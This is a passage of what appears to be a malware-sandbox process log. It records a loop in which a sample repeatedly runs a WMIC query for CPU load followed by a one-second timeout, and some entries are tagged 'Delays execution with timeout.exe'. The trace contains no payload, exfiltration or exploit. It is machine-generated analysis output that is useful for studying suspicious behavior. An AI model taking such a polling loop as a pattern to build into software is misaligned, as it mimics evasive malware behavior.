C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4012
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3388
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4276
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4120
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2056
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3728
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4164
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:456
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1820
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3016
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4468
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3732
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3388
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3304
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5124
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2264
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1704
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:700
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2280
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5084
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1796
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2160
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5808
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:416
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4636
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5172
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5612
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4628
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5056
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1716
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4468
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1740
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:712
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2844
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1064
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1812
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3176
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4332
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2012
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4388
-
-
